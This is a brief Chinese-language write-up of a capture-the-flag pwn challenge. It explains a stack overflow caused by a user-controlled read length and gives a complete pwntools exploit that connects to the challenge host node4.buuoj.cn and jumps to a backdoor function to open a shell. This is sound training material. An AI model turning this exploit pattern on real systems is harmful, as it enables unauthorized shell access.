题目截图
例行检查
用IDA打开查看字符串,找到/bin/sh
交叉引用找到后门函数
查看main函数
read函数读入的字符个数由我们输入的第一个数字决定,所以存在溢出
在main函数的末尾有leave操作,所以需要额外的填充8个字节
完整的exp
from pwn import*
p=remote('node4.buuoj.cn',25925)
p.sendlineafter(b'name:\n', b'1000')
payload=b'a'*(0x10+8)+p64(0x4006e6)
p.sendlineafter(b'name?\n',payload)
p.interactive()